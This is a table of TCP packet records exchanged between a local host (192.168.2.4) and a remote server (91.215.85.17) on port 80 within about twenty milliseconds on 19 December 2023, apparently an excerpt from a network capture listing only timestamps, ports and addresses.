Dec 19, 2023 03:22:22.789802074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.789810896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.789858103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.789895058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.789999008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.790082932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.790116072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.790154934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.790241003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.790281057 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.790354013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.790479898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.790518999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.790559053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.790630102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.790662050 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.790693045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.790785074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.790821075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.790863991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.790908098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.790941954 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.790986061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791033030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791066885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.791126966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791198015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791234016 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.791261911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791294098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791326046 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.791409016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791482925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791517019 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.791589022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791640043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791698933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791712046 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.791754961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791790962 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.791846037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791930914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.791970968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.792028904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.792131901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.792167902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.792201996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.792263985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.792354107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.792356014 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.792417049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.792455912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.792506933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.792586088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.792660952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.792685032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.792747974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.792790890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.792834044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.792941093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.792982101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.793059111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.793123960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.793160915 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.793183088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.793256044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.793311119 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.793343067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.793441057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.793498039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.793571949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.793653965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.793688059 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.793709040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.793796062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.793833971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.793895960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.793971062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.794011116 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.794034004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.794130087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.794202089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.794217110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.794266939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.794300079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.794326067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.794392109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.794428110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.794478893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.794580936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.794620037 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.794739008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.794799089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.794843912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.794873953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.794950008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.794982910 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.795011997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.795101881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.795162916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.795172930 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.795249939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.795320034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.795320034 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.795386076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.795423031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.795469046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.795573950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.795612097 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.795620918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.795695066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.795730114 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.795773983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.795909882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.795943975 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.796009064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.796118975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.796163082 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.796268940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.796355009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.796417952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.796457052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.796484947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.796519041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.796549082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.796612978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.796650887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.796722889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.796802044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.796847105 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.796914101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.797003984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.797097921 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.797239065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.797316074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.797411919 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.797590971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.797627926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.797686100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.797691107 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.797735929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.797768116 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.797811985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.797887087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.797920942 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.797971010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.798068047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.798105001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.798245907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.798310995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.798346043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.798377037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.798440933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.798475027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.798518896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.798625946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.798666000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.798723936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.798825979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.798906088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.798923969 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.798988104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.799021006 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.799053907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.799098015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.799138069 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.799160004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.799240112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.799283981 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.799297094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.799354076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.799386978 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.799604893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.799683094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.799721003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.799792051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.799860001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.799892902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.799988985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.800071955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.800118923 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.800151110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.800295115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.800332069 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.800374985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.800458908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.800496101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.800539970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.800590992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.800627947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.800786018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.800839901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.800875902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.800923109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.801028967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.801065922 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.801065922 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.801146030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.801172972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.801223993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.801269054 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.801286936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.801366091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.801408052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.801436901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.801491976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.801532030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.801616907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.801692963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.801733017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.801774025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.802094936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.802135944 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.802179098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.802253008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.802293062 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.802334070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.802372932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.802419901 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.802440882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.802515984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.802551985 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.802598000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.802690029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.802731991 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.802763939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.802865028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.802900076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.803025007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.803102970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.803136110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.803167105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.803271055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.803308010 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.803354979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.803425074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.803467035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.803484917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.803536892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.803577900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.803608894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.803674936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.803708076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.803762913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.803859949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.803900003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.803934097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.804004908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.804043055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.804092884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.804163933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.804198027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.804233074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.804306030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.804343939 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.804410934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.804501057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.804536104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.804605961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.804759979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.804816008 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.804842949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.804909945 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.804955006 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.804985046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.805039883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.805074930 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.805114031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.805228949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.805273056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.805319071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.805409908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.805447102 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.805495024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.805680037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.805717945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.805774927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.805876970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.805912018 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.805924892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.806039095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.806137085 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.806176901 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.806209087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.806210041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.806261063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.806309938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.806353092 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.806397915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.806488037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.806525946 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.806574106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.806663036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.806704998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.806776047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.806853056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.806900024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.806978941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.807024956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.807060003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.807125092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.807193041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.807235003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.807305098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.807394028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.807430983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.807491064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.807584047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.807619095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.807672024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.807881117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.807923079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.807972908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.808048964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.808085918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.808130980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.808213949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.808254957 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.808294058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.808451891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.808490038 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.808583975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.808665037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.808708906 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.808749914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.809005976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.809046030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.809092999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.809168100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.809207916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.809261084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.809348106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.809387922 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.809412003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.809514999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.809555054 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.809595108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.809696913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.809739113 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.809758902 CET	80	49738	91.215.85.17	192.168.2.4
